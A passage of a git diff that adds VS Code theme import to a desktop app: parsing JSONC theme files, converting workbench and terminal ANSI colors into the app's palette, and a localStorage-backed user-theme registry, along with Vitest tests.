+ () => ({ theme: activeTheme, themeName, mode, resolvedMode, renderedMode, availableThemes, setTheme, setMode }),
+ [activeTheme, themeName, mode, resolvedMode, renderedMode, availableThemes, setTheme, setMode]
)
return {children}
diff --git a/apps/desktop/src/themes/install.test.ts b/apps/desktop/src/themes/install.test.ts
new file mode 100644
index 000000000000..42b777681b3d
--- /dev/null
+++ b/apps/desktop/src/themes/install.test.ts
@@ -0,0 +1,119 @@
+import { describe, expect, it } from 'vitest'
+
+import type { DesktopMarketplaceThemeResult } from '@/global'
+
+import { luminance } from './color'
+import { buildThemeFromMarketplace } from './install'
+
+const themeJson = (type: 'light' | 'dark', background: string, foreground: string) =>
+ JSON.stringify({ type, colors: { 'editor.background': background, 'editor.foreground': foreground } })
+
+// A full base-8 ANSI set keyed off `red` so each variant is distinguishable.
+const ansiColors = (red: string) => ({
+ 'terminal.ansiBlack': '#000000',
+ 'terminal.ansiRed': red,
+ 'terminal.ansiGreen': '#00aa00',
+ 'terminal.ansiYellow': '#aaaa00',
+ 'terminal.ansiBlue': '#0000aa',
+ 'terminal.ansiMagenta': '#aa00aa',
+ 'terminal.ansiCyan': '#00aaaa',
+ 'terminal.ansiWhite': '#aaaaaa'
+})
+
+const themeJsonWithAnsi = (type: 'light' | 'dark', background: string, foreground: string, red: string) =>
+ JSON.stringify({ type, colors: { 'editor.background': background, 'editor.foreground': foreground, ...ansiColors(red) } })
+
+describe('buildThemeFromMarketplace', () => {
+ it('folds a light + dark variant into one family with both slots', () => {
+ const result: DesktopMarketplaceThemeResult = {
+ extensionId: 'ryanolsonx.solarized',
+ displayName: 'Solarized',
+ themes: [
+ { label: 'Solarized Light', uiTheme: 'vs', contents: themeJson('light', '#fdf6e3', '#586e75') },
+ { label: 'Solarized Dark', uiTheme: 'vs-dark', contents: themeJson('dark', '#002b36', '#93a1a1') }
+ ]
+ }
+
+ const theme = buildThemeFromMarketplace(result)
+
+ expect(theme.label).toBe('Solarized')
+ expect(theme.name).toBe('vsc-solarized')
+ // colors = the light variant, darkColors = the dark variant → the toggle works.
+ expect(theme.colors.background).toBe('#fdf6e3')
+ expect(theme.darkColors?.background).toBe('#002b36')
+ expect(luminance(theme.colors.background)).toBeGreaterThan(0.5)
+ expect(luminance(theme.darkColors!.background)).toBeLessThan(0.5)
+ })
+
+ it('orders variants by contribution regardless of light/dark sequence', () => {
+ const result: DesktopMarketplaceThemeResult = {
+ extensionId: 'github.github-vscode-theme',
+ displayName: 'GitHub Theme',
+ themes: [
+ { label: 'GitHub Dark Default', uiTheme: 'vs-dark', contents: themeJson('dark', '#0d1117', '#e6edf3') },
+ { label: 'GitHub Light Default', uiTheme: 'vs', contents: themeJson('light', '#ffffff', '#1f2328') }
+ ]
+ }
+
+ const theme = buildThemeFromMarketplace(result)
+ expect(theme.colors.background).toBe('#ffffff')
+ expect(theme.darkColors?.background).toBe('#0d1117')
+ })
+
+ it('fills both slots with the sole palette for a single-variant extension', () => {
+ const result: DesktopMarketplaceThemeResult = {
+ extensionId: 'dracula-theme.theme-dracula',
+ displayName: 'Dracula',
+ themes: [{ label: 'Dracula', uiTheme: 'vs-dark', contents: themeJson('dark', '#282a36', '#f8f8f2') }]
+ }
+
+ const theme = buildThemeFromMarketplace(result)
+ expect(theme.colors.background).toBe('#282a36')
+ expect(theme.darkColors).toBe(theme.colors)
+ })
+
+ it('keys each variant terminal palette to its mode (terminal / darkTerminal)', () => {
+ const result: DesktopMarketplaceThemeResult = {
+ extensionId: 'ryanolsonx.solarized',
+ displayName: 'Solarized',
+ themes: [
+ { label: 'Solarized Light', uiTheme: 'vs', contents: themeJsonWithAnsi('light', '#fdf6e3', '#586e75', '#dc322f') },
+ { label: 'Solarized Dark', uiTheme: 'vs-dark', contents: themeJsonWithAnsi('dark', '#002b36', '#93a1a1', '#ff5f56') }
+ ]
+ }
+
+ const theme = buildThemeFromMarketplace(result)
+ expect(theme.terminal?.red).toBe('#dc322f')
+ expect(theme.darkTerminal?.red).toBe('#ff5f56')
+ })
+
+ it('reuses the sole variant terminal palette for both modes', () => {
+ const result: DesktopMarketplaceThemeResult = {
+ extensionId: 'dracula-theme.theme-dracula',
+ displayName: 'Dracula',
+ themes: [{ label: 'Dracula', uiTheme: 'vs-dark', contents: themeJsonWithAnsi('dark', '#282a36', '#f8f8f2', '#ff5555') }]
+ }
+
+ const theme = buildThemeFromMarketplace(result)
+ expect(theme.terminal?.red).toBe('#ff5555')
+ expect(theme.darkTerminal?.red).toBe('#ff5555')
+ })
+
+ it('leaves terminal slots unset when no variant ships an ANSI palette', () => {
+ const result: DesktopMarketplaceThemeResult = {
+ extensionId: 'x.plain',
+ displayName: 'Plain',
+ themes: [{ label: 'Plain', uiTheme: 'vs-dark', contents: themeJson('dark', '#101010', '#fafafa') }]
+ }
+
+ const theme = buildThemeFromMarketplace(result)
+ expect(theme.terminal).toBeUndefined()
+ expect(theme.darkTerminal).toBeUndefined()
+ })
+
+ it('throws when the extension contributes no themes', () => {
+ expect(() =>
+ buildThemeFromMarketplace({ extensionId: 'x.y', displayName: 'X', themes: [] })
+ ).toThrow(/does not contribute/i)
+ })
+})
diff --git a/apps/desktop/src/themes/install.ts b/apps/desktop/src/themes/install.ts
new file mode 100644
index 000000000000..792552f9af79
--- /dev/null
+++ b/apps/desktop/src/themes/install.ts
@@ -0,0 +1,95 @@
+/**
+ * Install desktop themes from external sources.
+ *
+ * The heavy lifting (network + .vsix unzip) lives in the Electron main process
+ * (`electron/vscode-marketplace.cjs`), reached via `window.hermesDesktop.themes`.
+ * Main hands back the raw theme JSON; we parse + convert + persist here so the
+ * conversion stays in one unit-testable place.
+ */
+
+import type { DesktopMarketplaceThemeResult } from '@/global'
+
+import type { DesktopTheme } from './types'
+import { installUserTheme } from './user-themes'
+import { convertVscodeColorTheme, parseVscodeTheme, vscodeThemeSlug } from './vscode'
+
+/** A `publisher.extension` id, e.g. `dracula-theme.theme-dracula`. */
+export const MARKETPLACE_ID_RE = /^[\w-]+\.[\w-]+$/
+
+/** Parse + convert + persist a pasted VS Code theme JSON. */
+export function installVscodeThemeFromText(
+ text: string,
+ opts?: { label?: string; source?: string }
+): DesktopTheme {
+ const raw = parseVscodeTheme(text)
+ const { theme } = convertVscodeColorTheme(raw, opts)
+
+ return installUserTheme(theme)
+}
+
+/**
+ * Fold every color theme an extension contributes into ONE desktop theme family.
+ *
+ * Many extensions ship a light *and* a dark variant (GitHub, Solarized, Winter
+ * is Coming…). Rather than install them as separate flat entries — which made
+ * the light/dark toggle a no-op and let "install in dark mode" land on the light
+ * variant — we map the first light variant onto `colors` and the first dark
+ * variant onto `darkColors`. The result is a single picker entry whose light/dark
+ * toggle switches between the real variants. A single-variant extension fills
+ * both slots with its one palette (the toggle is a no-op, as it must be).
+ */
+export function buildThemeFromMarketplace(result: DesktopMarketplaceThemeResult): DesktopTheme {
+ if (!result.themes.length) {
+ throw new Error(`"${result.extensionId}" does not contribute any color themes.`)
+ }
+
+ const variants = result.themes.map(file => {
+ const raw = parseVscodeTheme(file.contents)
+ const label = file.label || raw.name || result.displayName
+ const { mode, theme } = convertVscodeColorTheme(raw, { label, source: result.extensionId })
+
+ return { mode, palette: theme.colors, terminal: theme.terminal }
+ })
+
+ const fallback = variants[0]
+ const light = variants.find(variant => variant.mode === 'light') ?? fallback
+ const dark = variants.find(variant => variant.mode === 'dark') ?? fallback
+
+ // The terminal ANSI palette tracks the painted variant the same way colors do
+ // (light → terminal, dark → darkTerminal); each falls back to the other so a
+ // single-variant import still themes the terminal in both modes.
+ const terminal = light.terminal ?? dark.terminal
+ const darkTerminal = dark.terminal ?? light.terminal
+
+ return {
+ name: vscodeThemeSlug(result.displayName),
+ label: result.displayName,
+ description: `VS Code · ${result.extensionId}`,
+ colors: light.palette,
+ darkColors: dark.palette,
+ ...(terminal ? { terminal } : {}),
+ ...(darkTerminal ? { darkTerminal } : {})
+ }
+}
+
+/**
+ * Download a Marketplace extension and install the theme family it contributes
+ * (see `buildThemeFromMarketplace`). Returns the single installed theme.
+ */
+export async function installVscodeThemeFromMarketplace(id: string): Promise {
+ const trimmed = id.trim()
+
+ if (!MARKETPLACE_ID_RE.test(trimmed)) {
+ throw new Error('Expected a Marketplace id like "publisher.extension".')
+ }
+
+ const api = window.hermesDesktop?.themes
+
+ if (!api?.fetchMarketplace) {
+ throw new Error('Marketplace install is only available in the desktop app.')
+ }
+
+ const result = await api.fetchMarketplace(trimmed)
+
+ return installUserTheme(buildThemeFromMarketplace(result))
+}
diff --git a/apps/desktop/src/themes/types.ts b/apps/desktop/src/themes/types.ts
index 09bff38ca59c..3aefda3eaa3c 100644
--- a/apps/desktop/src/themes/types.ts
+++ b/apps/desktop/src/themes/types.ts
@@ -54,6 +54,37 @@ export interface DesktopThemeTypography {
fontUrl?: string
}
+/**
+ * Integrated-terminal ANSI palette (xterm `ITheme`, minus `background`).
+ *
+ * Populated only when a converted VS Code theme ships a full `terminal.ansi*`
+ * set; otherwise the terminal keeps its built-in VS Code default palette.
+ * `background` is intentionally absent — the pane always paints the live skin
+ * surface so it stays translucent.
+ */
+export interface DesktopTerminalPalette {
+ foreground?: string
+ cursor?: string
+ /** Keeps its source alpha — xterm blends it over the surface. */
+ selectionBackground?: string
+ black?: string
+ red?: string
+ green?: string
+ yellow?: string
+ blue?: string
+ magenta?: string
+ cyan?: string
+ white?: string
+ brightBlack?: string
+ brightRed?: string
+ brightGreen?: string
+ brightYellow?: string
+ brightBlue?: string
+ brightMagenta?: string
+ brightCyan?: string
+ brightWhite?: string
+}
+
export interface DesktopTheme {
name: string
label: string
@@ -63,4 +94,8 @@ export interface DesktopTheme {
/** Hand-tuned dark palette. Skins like `nous` ship one. */
darkColors?: DesktopThemeColors
typography?: Partial
+ /** Light-variant terminal ANSI palette (also the fallback for dark). */
+ terminal?: DesktopTerminalPalette
+ /** Dark-variant terminal ANSI palette. Falls back to `terminal`. */
+ darkTerminal?: DesktopTerminalPalette
}
diff --git a/apps/desktop/src/themes/user-themes.test.ts b/apps/desktop/src/themes/user-themes.test.ts
new file mode 100644
index 000000000000..53db3ce1d254
--- /dev/null
+++ b/apps/desktop/src/themes/user-themes.test.ts
@@ -0,0 +1,63 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import { BUILTIN_THEMES, DEFAULT_SKIN_NAME } from './presets'
+import { $userThemes, installUserTheme, isUserTheme, listAllThemes, removeUserTheme, resolveTheme } from './user-themes'
+import { convertVscodeColorTheme } from './vscode'
+
+const makeTheme = (label: string) =>
+ convertVscodeColorTheme({
+ name: label,
+ type: 'dark',
+ colors: { 'editor.background': '#101014', 'editor.foreground': '#fafafa', focusBorder: '#7aa2f7' }
+ }).theme
+
+describe('user theme registry', () => {
+ beforeEach(() => {
+ window.localStorage.clear()
+ $userThemes.set({})
+ })
+
+ it('installs a theme into the merged registry and persists it', () => {
+ const theme = installUserTheme(makeTheme('Tokyo Night'))
+
+ expect(isUserTheme(theme.name)).toBe(true)
+ expect(resolveTheme(theme.name)).toEqual(theme)
+ expect(listAllThemes().map(t => t.name)).toContain(theme.name)
+ expect(window.localStorage.getItem('hermes-desktop-user-themes-v1')).toContain(theme.name)
+ })
+
+ it('lists built-ins before user themes', () => {
+ installUserTheme(makeTheme('Custom'))
+ const names = listAllThemes().map(t => t.name)
+
+ expect(names.slice(0, Object.keys(BUILTIN_THEMES).length)).toEqual(Object.keys(BUILTIN_THEMES))
+ expect(names.at(-1)).toBe('vsc-custom')
+ })
+
+ it('removes a theme', () => {
+ const theme = installUserTheme(makeTheme('Throwaway'))
+ removeUserTheme(theme.name)
+
+ expect(isUserTheme(theme.name)).toBe(false)
+ expect(resolveTheme(theme.name)).toBeUndefined()
+ })
+
+ it('resolves built-ins through the same lookup', () => {
+ expect(resolveTheme(DEFAULT_SKIN_NAME)).toBe(BUILTIN_THEMES[DEFAULT_SKIN_NAME])
+ })
+
+ it('refuses to shadow a built-in name', () => {
+ const builtinName = makeTheme('x')
+ builtinName.name = DEFAULT_SKIN_NAME
+
+ expect(() => installUserTheme(builtinName)).toThrow(/built-in/)
+ })
+
+ it('rejects a theme missing required colors', () => {
+ const broken = makeTheme('Broken')
+ // @ts-expect-error — intentionally corrupt the palette for the test.
+ broken.colors = { background: '#000000' }
+
+ expect(() => installUserTheme(broken)).toThrow(/colors/)
+ })
+})
diff --git a/apps/desktop/src/themes/user-themes.ts b/apps/desktop/src/themes/user-themes.ts
new file mode 100644
index 000000000000..cb2cd34b3849
--- /dev/null
+++ b/apps/desktop/src/themes/user-themes.ts
@@ -0,0 +1,122 @@
+/**
+ * User-installed desktop themes (currently: converted VS Code themes).
+ *
+ * This is the extensibility seam. The theme context reads the *merged* registry
+ * (built-ins + user themes) for `availableThemes` and for every skin lookup, so
+ * an installed theme shows up everywhere a built-in does — the Cmd-K palette,
+ * the Appearance settings grid, and `/skin` — with no per-surface wiring.
+ *
+ * Stored as a localStorage record so the boot-time paint (which runs before
+ * React mounts) can resolve a user theme synchronously, same as built-ins.
+ */
+
+import { atom } from 'nanostores'
+
+import { BUILTIN_THEMES } from './presets'
+import type { DesktopTheme, DesktopThemeColors } from './types'
+
+const USER_THEMES_KEY = 'hermes-desktop-user-themes-v1'
+
+// The minimal set of color keys a stored theme must carry to be usable. We keep
+// this loose — `applyTheme` tolerates missing optionals via fallbacks — but a
+// theme with no background/foreground/primary is junk and gets dropped.
+const REQUIRED_COLOR_KEYS: ReadonlyArray = ['background', 'foreground', 'primary']
+
+function isValidTheme(value: unknown): value is DesktopTheme {
+ if (!value || typeof value !== 'object') {
+ return false
+ }
+
+ const theme = value as Partial
+
+ if (typeof theme.name !== 'string' || typeof theme.label !== 'string' || !theme.colors) {
+ return false
+ }
+
+ const colors = theme.colors as unknown as Record
+
+ return REQUIRED_COLOR_KEYS.every(key => typeof colors[key] === 'string')
+}
+
+function readStored(): Record {
+ try {
+ const raw = window.localStorage.getItem(USER_THEMES_KEY)
+
+ if (!raw) {
+ return {}
+ }
+
+ const parsed: unknown = JSON.parse(raw)
+
+ if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+ return {}
+ }
+
+ const out: Record = {}
+
+ for (const [key, value] of Object.entries(parsed)) {
+ // Never let a stored theme shadow a built-in name.
+ if (!BUILTIN_THEMES[key] && isValidTheme(value)) {
+ out[key] = value
+ }
+ }
+
+ return out
+ } catch {
+ return {}
+ }
+}
+
+function persist(record: Record) {
+ try {
+ window.localStorage.setItem(USER_THEMES_KEY, JSON.stringify(record))
+ } catch {
+ // Best-effort: a restricted storage context shouldn't break theming.
+ }
+}
+
+/** Reactive map of installed user themes, keyed by slug. */
+export const $userThemes = atom>(typeof window === 'undefined' ? {} : readStored())
+
+/** Install (or replace) a user theme. Returns the stored theme. */
+export function installUserTheme(theme: DesktopTheme): DesktopTheme {
+ if (BUILTIN_THEMES[theme.name]) {
+ throw new Error(`"${theme.name}" collides with a built-in theme.`)
+ }
+
+ if (!isValidTheme(theme)) {
+ throw new Error('Theme is missing required colors.')
+ }
+
+ const next = { ...$userThemes.get(), [theme.name]: theme }
+ $userThemes.set(next)
+ persist(next)
+
+ return theme
+}
+
+/** Remove a user theme by slug. No-op for unknown / built-in names. */
+export function removeUserTheme(name: string): void {
+ const current = $userThemes.get()
+
+ if (!current[name]) {
+ return
+ }
+
+ const next = { ...current }
+ delete next[name]
+ $userThemes.set(next)
+ persist(next)
+}
+
+export const isUserTheme = (name: string): boolean => Boolean($userThemes.get()[name])
+
+/** Resolve a theme by name across the merged registry (built-in + user). */
+export function resolveTheme(name: string): DesktopTheme | undefined {
+ return BUILTIN_THEMES[name] ?? $userThemes.get()[name]
+}
+
+/** Built-ins first (stable order), then user themes by install order. */
+export function listAllThemes(): DesktopTheme[] {
+ return [...Object.values(BUILTIN_THEMES), ...Object.values($userThemes.get())]
+}
diff --git a/apps/desktop/src/themes/vscode.test.ts b/apps/desktop/src/themes/vscode.test.ts
new file mode 100644
index 000000000000..ac7cc9f9bd99
--- /dev/null
+++ b/apps/desktop/src/themes/vscode.test.ts
@@ -0,0 +1,171 @@
+import { describe, expect, it } from 'vitest'
+
+import { contrastRatio } from './color'
+import { convertVscodeColorTheme, parseVscodeTheme, vscodeThemeSlug } from './vscode'
+
+describe('vscodeThemeSlug', () => {
+ it('namespaces, lowercases, and dashes', () => {
+ expect(vscodeThemeSlug('Dracula Soft')).toBe('vsc-dracula-soft')
+ expect(vscodeThemeSlug(' One Dark Pro!! ')).toBe('vsc-one-dark-pro')
+ })
+
+ it('falls back when the name has no usable characters', () => {
+ expect(vscodeThemeSlug('—')).toBe('vsc-theme')
+ })
+})
+
+describe('parseVscodeTheme (JSONC tolerance)', () => {
+ it('strips comments and trailing commas', () => {
+ const text = `{
+ // a line comment
+ "name": "Demo",
+ /* block comment */
+ "type": "dark",
+ "colors": {
+ "editor.background": "#1e1e2e", // inline
+ },
+ }`
+
+ const parsed = parseVscodeTheme(text)
+ expect(parsed.name).toBe('Demo')
+ expect(parsed.colors?.['editor.background']).toBe('#1e1e2e')
+ })
+
+ it('throws on a non-object', () => {
+ expect(() => parseVscodeTheme('42')).toThrow()
+ })
+})
+
+describe('convertVscodeColorTheme', () => {
+ const dracula = {
+ name: 'Dracula',
+ type: 'dark',
+ colors: {
+ 'editor.background': '#282a36',
+ 'editor.foreground': '#f8f8f2',
+ focusBorder: '#6272a4',
+ 'editorWidget.background': '#21222c',
+ 'sideBar.background': '#21222c',
+ errorForeground: '#ff5555',
+ // 8-digit hex (alpha) — must flatten over the background.
+ 'panel.border': '#bd93f900'
+ }
+ }
+
+ it('maps the load-bearing tokens onto the palette', () => {
+ const { theme } = convertVscodeColorTheme(dracula, { source: 'dracula-theme.theme-dracula' })
+
+ expect(theme.name).toBe('vsc-dracula')
+ expect(theme.label).toBe('Dracula')
+ expect(theme.description).toContain('dracula-theme.theme-dracula')
+ expect(theme.colors.background).toBe('#282a36')
+ expect(theme.colors.foreground).toBe('#f8f8f2')
+ // One accent drives primary + ring + midground together...
+ expect(theme.colors.ring).toBe(theme.colors.primary)
+ expect(theme.colors.midground).toBe(theme.colors.primary)
+ // ...and it's nudged until it reads on the sidebar it labels (the dim
+ // focusBorder #6272a4 sits below AA, so it's lifted).
+ expect(contrastRatio(theme.colors.primary, theme.colors.sidebarBackground!)).toBeGreaterThanOrEqual(4.5)
+ expect(theme.colors.popover).toBe('#21222c')
+ expect(theme.colors.sidebarBackground).toBe('#21222c')
+ expect(theme.colors.destructive).toBe('#ff5555')
+ })
+
+ it('flattens alpha hex over the background (no #rrggbbaa leaks)', () => {
+ const { theme } = convertVscodeColorTheme(dracula)
+ expect(theme.colors.border).toMatch(/^#[0-9a-f]{6}$/)
+ // 00 alpha over the bg means the border collapses to the background.
+ expect(theme.colors.border).toBe('#282a36')
+ })
+
+ it('renders identically in both modes (single palette in both slots)', () => {
+ const { theme } = convertVscodeColorTheme(dracula)
+ expect(theme.darkColors).toBe(theme.colors)
+ })
+
+ it('records derived fallbacks for omitted tokens', () => {
+ const { derived } = convertVscodeColorTheme({
+ name: 'Sparse',
+ type: 'dark',
+ colors: { 'editor.background': '#101010', 'editor.foreground': '#fafafa' }
+ })
+
+ // No accent/elevated/sidebar/error tokens → all derived. The accent records
+ // its first candidate (button.background) when none of the family is present.
+ expect(derived).toContain('button.background')
+ expect(derived).toContain('editorWidget.background')
+ expect(derived).toContain('editorError.foreground')
+ })
+
+ it('buckets light vs dark from background luminance when type is absent', () => {
+ const light = convertVscodeColorTheme({
+ name: 'Bright',
+ colors: { 'editor.background': '#ffffff', 'editor.foreground': '#1a1a1a' }
+ }).theme
+
+ // A light background should keep a near-white background, not synth dark.
+ expect(light.colors.background).toBe('#ffffff')
+ })
+
+ it('throws when there is no colors map', () => {
+ expect(() => convertVscodeColorTheme({ name: 'Empty' })).toThrow(/colors/)
+ })
+
+ const fullAnsi = {
+ 'terminal.ansiBlack': '#073642',
+ 'terminal.ansiRed': '#dc322f',
+ 'terminal.ansiGreen': '#859900',
+ 'terminal.ansiYellow': '#b58900',
+ 'terminal.ansiBlue': '#268bd2',
+ 'terminal.ansiMagenta': '#d33682',
+ 'terminal.ansiCyan': '#2aa198',
+ 'terminal.ansiWhite': '#eee8d5',
+ 'terminal.ansiBrightBlack': '#002b36',
+ 'terminal.ansiBrightRed': '#cb4b16',
+ 'terminal.ansiBrightGreen': '#586e75',
+ 'terminal.ansiBrightYellow': '#657b83',
+ 'terminal.ansiBrightBlue': '#839496',
+ 'terminal.ansiBrightMagenta': '#6c71c4',
+ 'terminal.ansiBrightCyan': '#93a1a1',
+ 'terminal.ansiBrightWhite': '#fdf6e3'
+ }
+
+ it('lifts the ANSI palette when the full base-8 set is present', () => {
+ const { theme } = convertVscodeColorTheme({
+ name: 'Solarized Dark',
+ type: 'dark',
+ colors: {
+ 'editor.background': '#002b36',
+ 'editor.foreground': '#93a1a1',
+ 'terminal.foreground': '#839496',
+ 'terminalCursor.foreground': '#93a1a1',
+ // Alpha selection must survive un-flattened — xterm blends it.
+ 'terminal.selectionBackground': '#073642aa',
+ ...fullAnsi
+ }
+ })
+
+ expect(theme.terminal?.red).toBe('#dc322f')
+ expect(theme.terminal?.brightWhite).toBe('#fdf6e3')
+ expect(theme.terminal?.foreground).toBe('#839496')
+ expect(theme.terminal?.cursor).toBe('#93a1a1')
+ expect(theme.terminal?.selectionBackground).toBe('#073642aa')
+ // No background slot — the pane keeps the live surface (transparency).
+ expect('background' in (theme.terminal ?? {})).toBe(false)
+ })
+
+ it('keeps the default palette (no terminal slot) when the ANSI set is partial', () => {
+ const { theme } = convertVscodeColorTheme({
+ name: 'Half',
+ type: 'dark',
+ colors: {
+ 'editor.background': '#101010',
+ 'editor.foreground': '#fafafa',
+ 'terminal.ansiRed': '#ff0000',
+ 'terminal.ansiGreen': '#00ff00'
+ }
+ })
+
+ expect(theme.terminal).toBeUndefined()
+ })
+})
diff --git a/apps/desktop/src/themes/vscode.ts b/apps/desktop/src/themes/vscode.ts
new file mode 100644
index 000000000000..67c36983a0ed
--- /dev/null
+++ b/apps/desktop/src/themes/vscode.ts
@@ -0,0 +1,343 @@
+/**
+ * VS Code color-theme → DesktopTheme converter.
+ *
+ * VS Code themes carry ~hundreds of `workbench.colorCustomization` keys, but the
+ * desktop theme model only needs a `DesktopThemeColors` struct — `applyTheme`
+ * derives every glass/shadcn token from a small seed chain via `color-mix()`.
+ * In practice ~6 workbench keys carry the whole look (background, foreground,
+ * accent, elevated surface, sidebar, error); everything else we derive by mixing
+ * those toward the background/foreground. That's the "naive token converter".
+ *
+ * A VS Code theme is single-mode (light OR dark). Rather than synthesise the
+ * opposite mode, we set both `colors` and `darkColors` to the converted palette
+ * so the imported theme renders faithfully no matter where the light/dark toggle
+ * sits — `renderedModeFor` still picks the `.dark` class from the real
+ * background luminance, so surface-bound UI matches what's on screen.
+ */
+
+import { ensureContrast, luminance, mix, normalizeHex, readableOn } from './color'
+import type { DesktopTerminalPalette, DesktopTheme, DesktopThemeColors } from './types'
+
+// Section headers / sidebar labels render in --theme-primary directly on the
+// sidebar surface as small (~10px) uppercase text, so the accent has to clear
+// WCAG AA for normal text (4.5:1) or it's unreadable — the "invisible purple
+// label" case. Imported accents below this get nudged lighter/darker.
+const ACCENT_MIN_CONTRAST = 4.5
+
+/** The shape of a VS Code `*-color-theme.json` (only the fields we read). */
+export interface VscodeColorTheme {
+ name?: string
+ type?: string
+ /** Relative path to a base theme this one extends. We don't follow it. */
+ include?: string
+ colors?: Record
+ tokenColors?: unknown
+}
+
+export interface ConvertOptions {
+ /** Stable id (slug). Defaults to a slug of `raw.name`. */
+ slug?: string
+ /** Display label. Defaults to `raw.name`. */
+ label?: string
+ /** Shown under the label in the picker (e.g. the marketplace extension id). */
+ source?: string
+}
+
+export interface ConvertResult {
+ theme: DesktopTheme
+ /** The source theme's own light/dark (from `type`, else background luminance). */
+ mode: 'light' | 'dark'
+ /** Workbench keys we wanted but the theme omitted (we derived fallbacks). */
+ derived: string[]
+}
+
+/** Tolerant slug: lowercase, alnum + dashes, deduped, `vsc-` namespaced. */
+export function vscodeThemeSlug(name: string): string {
+ const base = name
+ .trim()
+ .toLowerCase()
+ .replace(/[^a-z0-9]+/g, '-')
+ .replace(/^-+|-+$/g, '')
+ .slice(0, 48)
+
+ return `vsc-${base || 'theme'}`
+}
+
+/**
+ * Parse a VS Code theme file. These ship as JSONC (line/block comments and
+ * trailing commas), so a plain `JSON.parse` rejects most real-world files.
+ * Strips comments + trailing commas, then parses. Throws on hard syntax errors.
+ */
+export function parseVscodeTheme(text: string): VscodeColorTheme {
+ const stripped = text
+ // Block comments.
+ .replace(/\/\*[\s\S]*?\*\//g, '')
+ // Line comments (not inside strings — naive but fine for theme files).
+ .replace(/(^|[^:"'\\])\/\/[^\n\r]*/g, '$1')
+ // Trailing commas before } or ].
+ .replace(/,(\s*[}\]])/g, '$1')
+
+ const parsed: unknown = JSON.parse(stripped)
+
+ if (!parsed || typeof parsed !== 'object') {
+ throw new Error('Theme file is not a JSON object.')
+ }
+
+ return parsed as VscodeColorTheme
+}
+
+const isDarkType = (raw: VscodeColorTheme, background: string): boolean => {
+ const type = (raw.type ?? '').toLowerCase()
+
+ if (type.includes('light')) {
+ return false
+ }
+
+ if (type === 'dark' || type === 'hc' || type === 'hc-black' || type.includes('dark')) {
+ return true
+ }
+
+ // No usable `type` — bucket by background luminance.
+ return luminance(background) < 0.4
+}
+
+// xterm ITheme ANSI slots ← VS Code `terminal.ansi*` tokens. Background is
+// deliberately excluded — the pane keeps the live skin surface (transparency).
+const ANSI_TOKENS: ReadonlyArray = [
+ ['black', 'terminal.ansiBlack'],
+ ['red', 'terminal.ansiRed'],
+ ['green', 'terminal.ansiGreen'],
+ ['yellow', 'terminal.ansiYellow'],
+ ['blue', 'terminal.ansiBlue'],
+ ['magenta', 'terminal.ansiMagenta'],
+ ['cyan', 'terminal.ansiCyan'],
+ ['white', 'terminal.ansiWhite'],
+ ['brightBlack', 'terminal.ansiBrightBlack'],
+ ['brightRed', 'terminal.ansiBrightRed'],
+ ['brightGreen', 'terminal.ansiBrightGreen'],
+ ['brightYellow', 'terminal.ansiBrightYellow'],
+ ['brightBlue', 'terminal.ansiBrightBlue'],
+ ['brightMagenta', 'terminal.ansiBrightMagenta'],
+ ['brightCyan', 'terminal.ansiBrightCyan'],
+ ['brightWhite', 'terminal.ansiBrightWhite']
+]
+
+const BASE_ANSI: ReadonlyArray = [
+ 'black',
+ 'red',
+ 'green',
+ 'yellow',
+ 'blue',
+ 'magenta',
+ 'cyan',
+ 'white'
+]
+
+const HEX_RE = /^#[0-9a-f]{3,8}$/i
+
+/**
+ * Lift a theme's integrated-terminal ANSI palette, if it ships one.
+ *
+ * All-or-nothing on the base-8 colors: a half-filled palette mixed with our
+ * defaults reads worse than just keeping the defaults, so we adopt the theme's
+ * palette only when the full base set is present. ANSI slots flatten alpha over
+ * the editor background; selection keeps its alpha so xterm can blend it.
+ */
+function extractTerminalPalette(colors: Record, background: string): DesktopTerminalPalette | undefined {
+ const hex = (key: string): string | undefined =>
+ normalizeHex(typeof colors[key] === 'string' ? (colors[key] as string) : null, background) ?? undefined
+
+ const palette: DesktopTerminalPalette = {}
+
+ for (const [slot, token] of ANSI_TOKENS) {
+ const value = hex(token)
+
+ if (value) {
+ palette[slot] = value
+ }
+ }
+
+ if (!BASE_ANSI.every(slot => palette[slot])) {
+ return undefined
+ }
+
+ const foreground = hex('terminal.foreground')
+ const cursor = hex('terminalCursor.foreground') ?? hex('terminalCursor.background')
+ const selection = typeof colors['terminal.selectionBackground'] === 'string' ? colors['terminal.selectionBackground'].trim() : ''
+
+ if (foreground) {
+ palette.foreground = foreground
+ }
+
+ if (cursor) {
+ palette.cursor = cursor
+ }
+
+ if (HEX_RE.test(selection)) {
+ palette.selectionBackground = selection
+ }
+
+ return palette
+}
+
+/** First normalizable hex among `keys`, composited over `backdrop`. */
+const pick = (
+ colors: Record,
+ keys: string[],
+ backdrop: string
+): { key: string; value: string } | null => {
+ for (const key of keys) {
+ const value = normalizeHex(typeof colors[key] === 'string' ? (colors[key] as string) : null, backdrop)
+
+ if (value) {
+ return { key, value }
+ }
+ }
+
+ return null
+}
+
+export function convertVscodeColorTheme(raw: VscodeColorTheme, opts: ConvertOptions = {}): ConvertResult {
+ const colors = raw.colors && typeof raw.colors === 'object' ? (raw.colors as Record) : null
+
+ if (!colors) {
+ throw new Error('Theme has no "colors" map — not a VS Code color theme.')
+ }
+
+ const derived: string[] = []
+
+ // Background first: it's the backdrop every other token flattens alpha over.
+ const backgroundHit = pick(colors, ['editor.background', 'editorPane.background', 'editorGroup.background'], '#000000')
+ const dark = isDarkType(raw, backgroundHit?.value ?? '#1e1e1e')
+ const background = backgroundHit?.value ?? (dark ? '#1e1e1e' : '#ffffff')
+
+ if (!backgroundHit) {
+ derived.push('editor.background')
+ }
+
+ // `take` records a derived fallback when the theme omits the key.
+ const take = (keys: string[], fallback: string): string => {
+ const hit = pick(colors, keys, background)
+
+ if (hit) {
+ return hit.value
+ }
+
+ derived.push(keys[0])
+
+ return fallback
+ }
+
+ const foreground = take(['editor.foreground', 'foreground'], dark ? '#d4d4d4' : '#1f1f1f')
+
+ // Brand accent — the single most load-bearing token. Drives primary buttons,
+ // focus rings, the streaming cursor, active-session pills, and sidebar labels.
+ // Prefer the saturated "brand" tokens (button / link / badge) over focusBorder,
+ // which many themes set to a muted gray — picking it first made imported
+ // accents look like the desktop defaults. We enforce contrast below regardless.
+ const accentSource = take(
+ [
+ 'button.background',
+ 'textLink.activeForeground',
+ 'textLink.foreground',
+ 'activityBarBadge.background',
+ 'badge.background',
+ 'progressBar.background',
